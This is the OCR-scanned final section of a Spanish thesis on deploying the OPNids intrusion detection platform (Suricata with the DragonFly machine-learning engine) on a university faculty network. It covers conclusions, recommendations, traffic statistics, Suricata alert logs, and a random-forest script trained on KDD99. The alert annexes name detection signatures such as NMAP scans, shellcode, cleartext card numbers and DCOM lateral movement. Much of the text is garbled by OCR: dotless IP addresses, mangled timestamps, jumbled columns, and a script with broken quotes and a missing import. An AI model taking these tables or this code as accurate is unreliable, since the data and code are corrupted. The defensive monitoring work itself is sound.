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Diferencia entre deteccién vs # de pruebas
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Gréfico 2-3: Diferencia de tiempo entre detecciones en ataque de escaneo
Realizado por: Herrera, Jonathan 2021.
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CONCLUSIONES

e Ladeteccion de tréfico de datos malicioso en redes corporativas se ve reflejado hacia el nivel
de seguridad interna como externa de la red y de los mecanismos para monitorear la misma,
en la actualidad las técnicas actuales de deteccidn sefialan la implementacién de un Sistema
de Deteccion de Intrusos con machine learning como lo es la plataforma OPNids con su
motor DragonFly capaz de crear un punto de inflexion en la deteccion de trafico de datos

malicioso y mejorar la autonomia de los IDS.

e La plataforma OPNids presenta varias ventajas en las que destacan su IDS Suricata, motor
de machine learning DragonFly e interfaz web de control versus plataformas tradicionales
como Snort y Zeek que Unicamente son IDS basados en reglas/firmas en consola, pero si
bien tienen la capacidad de obtener resultados similares, la plataforma OPNids brinda un
conjunto combinado de herramientas capaces de automatizar los procesos de control de la

seguridad de red del edifico de la FIE.

e La implementacion de la plataforma OPNids en la Facultad de Informética y Electronica
(FIE) brinda a los estudiantes como docentes la posibilidad de interactuar con un sistema
integrado a la seguridad informatica de la red, lo que permite comprender los peligros de
navegar por redes sin ningun control, es decir, que no son administradas, ademas de
comprender las técnicas de machine learning con su algoritmo de clasificacion Random

forest y la deteccion de intrusos a través del IDS Suricata.

e Laplataforma OPNids implementada cumple con el objetivo planteado ya que por un periodo
aproximado a 3 meses y medio analizo mas de 77 Gb de informacidn proveniente de todo el
trafico de datos de la Facultad de Informética y Electronica; en ese trafico detecto
aproximadamente 3 mil alertas de posibles ataques a través del IDS Suricata, a su vez
enviados hacia el motor de machine learning DragonFly para su entrenamiento en conjunto
con el srcipt programado adicionalmente, como resultado se obtuvo una precisién y
sensibilidad del modelo de 98%.

e  Serealizo la simulacion de 4 ataques informaticos para evaluar el desempefio y efectividad
de la plataforma OPNids en los cuales las categorias de DoS y Escaner (Probe) presentaron
mejor desempefio en la deteccion de los ataques informaticos con una efectividad respecto
al tiempo de 255 msy 31 s respectivamente, al contrario, sucedi6 con los ataques de “U2R”
y “R2L” en los cuales no existio mejoras en la efectividad, pero por motivos del vector de

ataque, sin embargo, si existié mejora en el desempefio a través de la deteccion.
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RECOMENDACIONES

e  Serecomienda realizar el andlisis de trafico de datos del edificio de la FIE por un periodo de
tiempo mayor al ejecutado en este trabajo de titulacion, esto ayudara a determinar de una
mejor manera las amenazas y posibles ataques informaticos, ademas de mejorar en el

entramiento del motor de machine learning DragonFly.

e La plataforma OPNids en ocasiones presenta errores de programacion ya que al dejar de
tener soporte a partir de inicios de enero de 2020 no fueron solucionados los mismos, por ese
motivo se recomienda mantener un control sobre el uso de los recursos informaticos
utilizados como: procesador, ram y almacenamiento; verificarlos periddicamente aseguran

un correcto funcionamiento.

e Para futuras pruebas del motor de machine learning Dragonfly se recomienda utilizar
diferentes algoritmos de clasificacion programados de manera correcta en el script adicional

para obtener mejoras en los resultados y poder detectar de mejor manera otro tipo de ataques.

e EI IDS suricata es capaz de manejar reglas propias, es decir, se puede implementar reglas
personalizadas en la FIE para ejecutar un control de trafico de datos como bloqueo de

paquetes de redes sociales, descargas, VPN, entre otros.
e El servidor en que fue implementado la plataforma OPNids presentd problemas de
almacenamiento y cortes de alimentacion, se debe asegurar y monitorear la infraestructura

fisica en la que se va a desplegar la plataforma.

e  OPNids es una plataforma compleja al momento de querer aplicar algin cambio, ya que se

encuentra basado en una distribucion de freebsd y con un nicleo OPNsense modificado.
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ANEXOS

ANEXO A: Estadisticas de paquetes in/out de la Plataforma OPNids en la Vlan estudiantes

INTERFACES S -
= MGT 4 Ethernet autoselect 172.25.200.166
= TAP 4 Ethernet autoselect 0.0.0.0
INTERFACE STATISTICS
INTERFACE STATISTICS so-x MGT TAP
MGT TAP Packets In 2738497 68080991
Packets In 636022 13623983 Packets Out 125500 5323
Packets Out 51426 3825 Bytes In 220.88 MB 16.44 GB
Bytes In 48.14 MB 2.92GB Bytes Out 107.57 MB 491 KB
Bytes Out 57.91 MB 363 KB
Errors In 0 0
Errors In 0 0
Errors Out 0 0
Errors Out (] 0
Collisions 0 0 Cosions g W
INTERFACE STATISTICS s - INTERFACE STATISTICS
MGT TAP MGT TAP
Packets In 3386245 77060105 Packets In 4180356 89418555
Packets Out 127332 5323 Packets Out 130742 5323
Bytes In 270.56 MB 17.66 GB Bytes In 331.68 MB 19.26 GB
Bytes Out 108.55 MB 491 KB Bytes Out 110.88 MB 491 KB
Errors In ] ] Errors In 0 0
Errors Out 0 0 Errors Out 0 0
Collisions 0 ] Collisions 0 0
INTERFACE STATISTICS E
MGT TAP
Packets In 6255852 126475997
Packets Out 190724 5323
Bytes In 491.13 MB 25.19 GB
Bytes Out 168.74 MB 491 KB
Errors In 0 0
Errors Out 0 0
Collisions 0 0
INTERFACE STATISTICS $ -
MGT TAP
Packets In 12947313 218776744
Packets Out 246657 5323
Bytes In 1000.76 MB 37.23 GB
Bytes Out 201.18 MB 451 KB
Errors In 0 0
Errors Out 0 0
Collisions 0 0




ANEXO B: Registro de alertas en los dos periodos de la Vlan estudiantes

2019-12-14T16:31:25

2019-12-14T16:31:25

2019-12-14T16:31:25

2019-12-14T16:42:20

12019 12 45TNA 15

2019-12-15T16:31:20

2019-12-15T16:31:21

2019-12-16T16:31:21

2019-12-15T16:31:24

2019-12-15T16:31:24.

[ Timestamp Alerta siD Protocolo IP origen IP destino ig de
2019-12-12T17.5929  SURICATASTREAMESTABUSHED 510050 1cp 172262004 17225200132 30 61503
packet out of window
SURICATA STREAM SHUTDOWN
2019-12-12T17:5928  RST invalid ack 221008 TCp | 17225:200.132 172252004 61503 &
SURICATA STREAM Packet with
2019-12-12T1759.29  invalid ack 2210045 Top | 17225:200132 172252004 61503 &
2019.1212T176920  SURICATA STREAM FIN invalid ack 2210030 TCP 17225200 132 17225.2004 61503 0
Se repitio la misma
feB0:00000000° _ o
2019-12-13T14:11:45  SURICATA zero length padN option 2200094 IPVE-ICMF 0000:78db: e 13; T02-0000°0000:0000:0000: alerta desde las
d59c fel? 0000:0000:0016 '6pm/12-12-2019 hasta
las 2:12pm/13-12-2019
SURICATASTREAM CLOSEWAT
2019-12-13T14:4240  invalid ACK TCP 17226203223 17225200166 55741 a3
SURICATA STREAM Packetwith
2019-12-13T14-13:40  invalid ack TCP 17225203223 17225200166 55741 a
SURICATA STREAM CLOSEWAIT
2019-12-13T14-1340  ACK out of window 2210015 TCP 17225200166 17225203223 sz 55741
SURICATA STREAM SHUTDOWN
2019-12-13T14-1340  RST invalid ack 2210046 TCP  |172.25.203.223 172.25.200.166 55741 a3
ania 40 4aT4nason_ SURICATA STREAM ESTABLISHED 554na0a oo 47995904 09 102400 AR 4RE 0818
2019-12-13T16:3120 %’;ﬂ: STREAMESTABLISHED 2510009 ToP 1722520182 192.188.46.165 42616 a3
2019-1243T16:31:20  SURICATASTREAM Facketwith 2210045 1o 1792500182 19218846465 e s
invalid ack
20191213T163120  SONCATASTREAMESTABLISHED 10000 1op 192.188.46.165 172.26.20182 an 42616

packet out of window

2800:0068:000a:

SURICATA STREAM ESTABLISHED " 2800:0068:0000:bebe 000 Alertas generadas por
T 2210029 TCP 5200:1e98 ecfff 0:0000:0000:0003 50952 443 miles
e22:27cb
2800:0068:000a: -0068:0000 q
SURICATA STREAM Packet with inva 2210045 TCP 5200:1e98:ecff-f 2300“ 00:0000:00 Cb63 peG 50952 443
22:2Tcb o ) )
SURICATA STREAM FIN out of 2210038 2800:0068:0000: 0068:000
window TCP bebe:0000:0000: ;i?ﬁ'lezz 27ch R20CISS 443 50952
0000:0003 B
ET POLICY GNU/Linux APT User-
Agent Outbound likely related to 2013504 TCP 17225203161 23219145146 50816 80
package management
ET POLICY GNU/Linux APT User-
; 19504 TOD 47225902 161 22010 145 148 50299 an
ET POLICY GNU/Linux YUM User-
Agent Outbound likely related to 2013505 TCP 1722520182 66.10926212 38506 80
package management
ET POLICY GNU/Linux YUM User-
Agent Outbound likely related to 2013505 TCP 17225202169 66.187 23028 45952 80
package management
ET POLICY GNU/Linux YUM User-
Agent Qutbound likely related to 2013505 TCP 172.25201.176 66.187.230.28 37164 80
package management
2800:0068:0000:
SURICATA STREAM ESTABLISHED 2800-0068:000a:5200:1e9
packet out of window 2210020 TCP bebe:0000:0000: g ot 099 57c a3 #3610
0000:0003
2800:0068:000a:
SURICATA STREAM ESTABLISHED 2210029 TCP. 52001608 ecfif 2800-0068:0000-bebe:000 33610 s
invalid ack 2997ch 0-0000:0000-0003

2019-12-16T04:15:30 ET POLICY GNU/Linux APT User- 2013504 172.25.203.161 23.219.145.146
Agent Outbound likely related to Tcp
package management
2019-12-16T11:57:39 f‘t‘;:::gf STREAM ESTABLISHED 2210029 TCP 172252004 172.25.203.223 80 61160
2019-12-16T11:57:39 SURICATA STREAM Packet with 2210045 TCP 172.25.2004 17225203223 80 61160
invalid ack
201z 1gT1s7ge  SONCATASTREAMPAcketmin - ggi004s top 17226203228 172252004 61160 80
2019-1216T11:67:39  SURCATASTREAMSHUTDOWN 5510005 Top 172.26.202.223 172262004 61160 80
RST invalid ack
201912-46T11:56:22  SURICATAICMPVA unknown code 2200025 ICMP 172.25.202.180 172252004
2019-1216T13:56:51 S TUCATA STREAM excessive 2210054 TCP 17225200186 172.25.201.134
retransmissions

2019-12-17T08:10:22

2019-12-18T17:53:21

2019-12-18T17:53:21

2019-12-18T17:31:47.

2020-01-09T16:28:58

2020-01-08T16:32 52

2020-01-08T16:44.37

2020-01-09T16:46:17
2020-01-08T16:48 18
2020-01-09T17.08 00
|2020-01-10T09:03.07

|2020-01-10T11:04:01
2020-01-10T13:02.08

ET SCAN Behavioral Unusual Port
445 traffic Potential Scan or Infection

2001569 TCP 17225203151 17225201238 64731

ET DROP Dshield Block Listed

2402000 TcP 185.156.73.42  172.25.201.62 53986 61840
Source group 1
ET INFO DNS Query for Suspicious 2026888 1722520162  172.47.102.39 58166
.icu Domain upP 53
ET DROP Dshield Block Listed =] 185.156.73.42  172.25.201.62 61840

Source iruui

2018102 UDP 172 26 200 80

ET DOS Possible SSOP
e " T 17226 201 100

ET CINS Active Threat Ineligence

Poor Resiaion P group 20 2403308 UDP 50.200.135.108 172.25.201 252 57599 681
ET INFO Winkttp AutoPraxy Request

wpad dot Possite BadT, 2022013 TCP 17226201262 8324810895 57945 0
ETECUCBmrs 201980 TCP 17225201252 216.230.34.21 53589 )
myexternalip.com

ET POLICY Extemal I Lookup -

chacki. e ong 2021378 TCP 17225201252 131.186.11370 51135 o
ET POLICY DynDNS Checip

Extemal IP Address Server 2014932 TCP 13118611370 172.25.201 252 51135
Response

ET DROP Spamhaus DROP Listed

Trafh. b group 24 2400023 UDP  196.196.19238 17225201252 50207 8881
ET DOS Possitle SSDF

amphficaion Scan in Progress 2019102 UDP 17225202117 172252001 8119 1900
ET DOS Possible SSDP Ampificatior 2019102 UDP 17225202117 1722520056 62051 1900
ETDROP Spamhaus DROP Listed  p400023 UDP 196194211122 17225203252 64848 24041




ANEXO C: Estadisticas de paquetes in/out de la Plataforma OPNids en la Vlan docentes

INTERFACE STATISTICS F = %
MGT TAP
Packets In 283515 7393336
Packets Out 26812 2936
Bytes In 23.20 MB 1.90 GB
Bytes Out 28.43 MB 276 KB
Errors In 0 ]
Errors Out 0 0
Collisions 0 0
INTERFACE STATISTICS F -
MGT TAP
Packets In 1157210 23200341
Packets Out 54532 4761
Bytes In 87.81 MB 4.30 GB
Bytes Out 61.31 MB 454 KB
Errors In 0 0
Errors Out 0 0
Collisions 0 0




ANEXO D: Registro de alertas de un mes de la Vlan docentes.

2020-02-07T10:38:57
2020-02-
07T12:24.05.548387-
0500

2020-02-08T15:32:41

2020-02-08T18:09:27

2020-02-08T18:22:36

2020-02-08T19:18:59

2020-02-08T21:36:36

2020-02-11T16:58:47

2020-02-11T18:15:28

ET SCAN NMAP -sA (1)
ET SCAN NMAP -sA (2)

ET POLICY SSH session in progress
on Expected Port

ET SHELLCODE Rothenburg
Shellcode

ET POLICY Credit Card Number
Detected in Clear (16 digit spaced)
ET NETBIOS DCERPC DCOM
ExecuteShellCommand Call - Likely
Lateral Movement

SURICATA Applayer Detect protocol
only one direction

SURICATA STREAM ESTABLISHED
SYNACK resend

ET EXPLOIT Malformed HeartBeat
Reguest

2000538 TCP

2000540 TCP

2001978 TCP

2009247 TCP

2001375 TCP

2027189 TCP

2260002 TCP

2210022 TCP

2018372 TCP

172.217.0.165

172.217.8.138

172.25.202.91
172.25.201.176

172.25.202.89

172.25.201.176

172.25.200.4

93.190.142.167/8
5.17.84.77

172.25.201.176

172.25.201.134 pYE)
443

172.25.201.134

172 25201 82 34480

17225202 89 989

172 25201 176 2049
989

172.25.202.89

172.25.201.199/172.2520 51764/55893
1.214/172.25.201.511172.2
5.200.3/172.25.201.184/17
2.25.201.192/172.25.201.7
6/172.25.200.243

172.25.202.71 e

172.25.202.89 989

55696

59343

22 35 ALERTAS

2049

989 3 alertas

2049 2 <lertas

554 13 alertas

54455 4 alertas

2049 2 alertas



ANEXO E: Script adicional a la plataforma OPNids para visualizacion de parametros del
algoritmo Random forest.

import pandas as pd

import matplotlib.pyplot as plt

import seaborn as sns

#Descargamos el dataset kdd99
url="http://kdd.ics.uci.edu/databases/kddcup99/kddcup.data_10 percent.gz'
df= pd.read_csv(url, header=None)

df.head()

#Cargamos el log eve.json desde el path, este proceso de lo realiza en forma diferenciada
with open(‘eve.json’) as file:

data = json.load(file)

#Etiquetamos las columnas

df.columns= [ 'duration’,'protocol_type', 'service', ‘flag’,

'src_bytes','dst_bytes','land’,'wrong_fragment','urgent’,'hot’,'num_failed_logins','logged_in’,

'num_compromised', 'root_shell', 'su_attempted’, 'num_root', 'num_file_creations', 'num_shells',
'num_access_files', 'num_outbound cmds', 'is_host_login’,
'is_guest_login','cnt’,'srv_count','serror_rate','srv_serror_rate','rerror_rate','srv_rerror_rate','same
_srv_rate','diff_srv_rate','srv_diff_host_rate','dst_host_count','dst_host_srv_count','dst_host_sam
e_srv_rat','dst_host_diff _srv_rate','dst_host_same_src_port_rate','dst_host_srv_diff_host_rate','d
st_host_serror_rate','dst_host_srv_serror_rate','dst_host_rerror_r

te','dst_host_srv_rerror_rate','outcome’]

print(df.describe())

df['outcome’].unique()

#Categorizando variables

df=df.replace(to_replace =["ipsweep.","portsweep.","nmap.","satan."], value ="probe")

df=df.replace(to_replace =["ftp_write.", "guess_passwd.","imap.","multihop.","phf.","spy.",

"warezclient.","warezmaster."], value ="r2I")



df=df.replace(to_replace =["buffer_overflow.","loadmodule.","perl.", "rootkit."], value ="u2r")

df=df.replace(to_replace =["back.", "land.","neptune.”, "pod.","smurf.","teardrop."],value

="dos")
#Contamos los datos de cada categoria o cddigo asignado
from collections import Counter
Counter(df['outcome'])
#Preprosesamos los datos de entrada
from sklearn import preprocessing
label_encoder = preprocessing.LabelEncoder()
df['protocol_type']= label_encoder.fit_transform(df['protocol_type])
df['service']= label_encoder.fit_transform(df['service)
df['flag']= label_encoder.fit_transform(df['flag'])
df['flag']= label_encoder.fit_transform(df['flag'])
df['outcome’]= label_encoder.fit_transform(df['outcome'])
#Limpeza de datos correlacionados
corr = df.corr()
plt.figure(figsize=(15,12))
sns.heatmap(corr)
plt.show()
print('{:>30} {:>30} {:>30}".format(*["Feature 1","Feature 2","Correlation"]))
x=I]
for i in corr:
for j in corr:
if((corr[i][j]>0.97) and i!=j and (i not in x)):
I=len(i)+len(j)

print('{:>30} {:>30} {:>30}".format(*[i,j,corr[i][j11))



x.append(i)
foriinx:
if(i in df.columns):
df.drop(i,axis=1,inplace=True)
#Elimiamos datos correlacionados
df.drop(‘is_host_login',axis = 1, inplace=True)
df.drop('num_outbound _cmds',axis = 1, inplace=True)
#Entrenamos el modelo con una semilla del 20%
X= df.drop(['outcome’], axis=1)
Y=df['outcome']
from sklearn.model_selection import train_test_split
X_train, X _test, y_train, y_test= train_test split(X, Y, test_size=0.2, random_state=8)
#Ejecutamos el algoritmo de clasificacion Random Forest
from sklearn.model_selection import train_test split
from sklearn.metrics import confusion_matrix
from sklearn import metrics
from sklearn.ensemble import RandomForestClassifier
from sklearn.datasets import make_classification
rf = RandomForestClassifier(random_state=8,n_estimators=8)
rf.fit(X_train, y_train)
#Imprimimos los parametros de evaluacién
y_preds=rf.predict(X_test)
print(confusion_matrix(y_test, y_preds))
print("Accuracy:",metrics.accuracy_score(y_test,y preds))

print(metrics.classification_report(y_test,y_preds))



ANEXO F: Encuesta realizada para la comparacion de caracteristicas IDS/IPS Open
Source

Cree usted que los recursos informaticos no son importantes al momento de mejorar el

rendimiento de los IDS/IPS *

1 2 3 4 5

Comparacion de caracteristicas de IDS/IPS Open ~ twemotre O @ O O O v mgorne

Source
La presente encuesta busca abtener los resultados para realizar una comparativa de los mejores IDS/IPS Open  Considera usted que laimplementacion de técnicas machine learning mejoran la deteccion de
Source en el mercado. amenazas en los IDS/IPS *
Las opciones para escoger van desde: 1. No es importante 2. Poce importante 3. Ni importante ni poco
importante 4. Importante 5. Muy importante f 5 3 . 5
*0Obligaterio
- No es importante O @] O O ® Muy importante

Considera usted que el soporte brindado por las empresas desarrolladoras es importante para la
Considera usted que la deteccion automatica de protocolos no es una funcion principal de los

IDS/IPS *

evolucién de las herramientas IDS/IPS *

1 2 3 4 5

No es importante O (@] @] ® @] Muy importante e) o ® o o

No es importante Muy importante

Considera que la utilizacion de hardware de video para la aceleracion de analisis de red por parte
de los IDS/IPS es importante, aunque su tecnologia continde en desarrollo *

No es importante O O @ @] O Muy importante

Considera importante la capacidad de funcionar en diferentes plataformas al momento de elegir
un IDS/IPS *

No es importante O O O @ O Muy importante

Considera que la deteccion de nuevas anomalias en la red durante un analisis es un proceso
importante para los IDS/IPS *

No es importante O O O @ O Muy importante

Cree usted que los IDS/IPS no deben estar disponibles para el analisis del trafico de datos

permanente de una infraestructura de red *

No es importante O ® O O O Muy importante

Considera que el escalamiento de una infraestructura de red debe estar acorde a las capacidades
de las herramientas de analisis de red como lo son los IDS/IPS *

No es importante O O O ® O Muy importante

Los administradores de red no consideran que una interfaz grafica de administracién sea
impoertante dentro de los IDS/IPS *

No es importante O O @ O O Muy importante
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